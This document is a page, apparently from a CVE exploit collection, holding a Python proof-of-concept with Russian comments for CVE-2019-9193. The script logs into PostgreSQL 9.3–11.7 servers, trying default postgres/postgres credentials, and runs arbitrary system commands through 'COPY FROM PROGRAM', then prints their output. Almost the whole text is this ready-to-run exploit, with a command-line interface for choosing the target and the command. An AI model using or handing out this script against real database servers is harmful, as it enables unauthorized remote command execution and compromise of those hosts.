5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / GenPostgresRCEExploit.py PY
import psycopg2
import argparse
import hashlib
import time

# Парсинг и обработка аргументов
def parse_arguments():
    parser = argparse.ArgumentParser(
        description='Exploit CVE-2019-9193 - PostgreSQL 9.3-11.7 Authenticated RCE')
    
    # параметры для подключения к базе данных и выполнения команды
    parser.add_argument('-i', '--ip', type=str, default='127.0.0.1',
                        help='IP-адрес PostgreSQL сервера [По умолчанию: 127.0.0.1]')
    parser.add_argument('-p', '--port', type=int, default=5432,
                        help='Порт PostgreSQL сервера [По умолчанию: 5432]')
    parser.add_argument('-d', '--database', default='template1',
                        help='Имя базы данных PostgreSQL [По умолчанию: template1]')
    parser.add_argument('-c', '--command', help='Системная команда для выполнения')
    parser.add_argument('-t', '--timeout', type=int, default=10,
                        help='Тайм-аут подключения в секундах [По умолчанию: 10]')
    parser.add_argument('-U', '--user', default='postgres',
                        help='Имя пользователя для подключения [По умолчанию: postgres]')
    parser.add_argument('-P', '--password', default='postgres',
                        help='Пароль для подключения [По умолчанию: postgres]')
    
    return parser.parse_args()

# Проверка уязвимости по версии PostgreSQL
def check_pg_vulnerability(connection):
    cursor = connection.cursor()
    cursor.execute("SELECT version()")
    pg_version_info = cursor.fetchall()
    cursor.close()

    pg_version_str = extract_version(pg_version_info)
    pg_version_number = float(pg_version_str.split("PostgreSQL ")[1][:4])

    # Проверка уязвимой версии PostgreSQL
    if 9.3 <= pg_version_number <= 11.7:
        print(f"[+] Уязвимая версия PostgreSQL обнаружена: {pg_version_number}")
    else:
        print(f"[-] Версия PostgreSQL {pg_version_number} не уязвима")
        exit()

# Соединение с базой данных
def connect_to_database(args):
    try:
        print(f"\r\n[+] Подключение к базе данных PostgreSQL на {args.ip}:{args.port}")
        
        conn = psycopg2.connect(
            database=args.database,
            user=args.user,
            password=args.password,
            host=args.ip,
            port=args.port,
            connect_timeout=args.timeout
        )
        print("[+] Соединение успешно установлено")
        return conn

    except psycopg2.OperationalError as conn_error:
        print(f"[-] Ошибка подключения: {conn_error}")
        exit()

# Выполнение команды через уязвимость PostgreSQL
def execute_command_via_pg(conn, cmd):
    cursor = conn.cursor()
    table_name = generate_table_name()

    try:
        print(f"[+] Создание временной таблицы: {table_name}")
        cursor.execute(f"""
            DROP TABLE IF EXISTS {table_name};
            CREATE TABLE {table_name}(output TEXT);
            COPY {table_name} FROM PROGRAM '{cmd}';
            SELECT * FROM {table_name};
        """)

        print("[+] Команда успешно выполнена")

        # Извлечение и вывод результата команды
        command_result = cursor.fetchall()
        output = extract_version(command_result)

        print(output)
        
        # Удаление временной таблицы
        cursor.execute(f"DROP TABLE {table_name}")
        print(f"[+] Временная таблица {table_name} удалена")

    except psycopg2.errors.ExternalRoutineException as e:
        print(f"[-] Ошибка выполнения команды: {e.pgerror}")
        print(f"[+] Удаление временной таблицы {table_name}")
        cursor.execute(f"DROP TABLE {table_name}")

    finally:
        cursor.close()

# Генерация уникального имени таблицы на основе хэша текущего времени
def generate_table_name():
    return "temp_" + hashlib.md5(time.ctime().encode('utf-8')).hexdigest()

# Извлечение версии PostgreSQL из результата запроса
def extract_version(records):
    return "\r\n".join(record[0] for record in records)

# Основной метод запуска эксплуатации уязвимости
def exploit(args):
    connection = connect_to_database(args)
    check_pg_vulnerability(connection)
    if args.command:
        execute_command_via_pg(connection, args.command)
    else:
        print("[+] Используйте аргумент -c для выполнения системной команды")

if __name__ == "__main__":
    args = parse_arguments()
    exploit(args)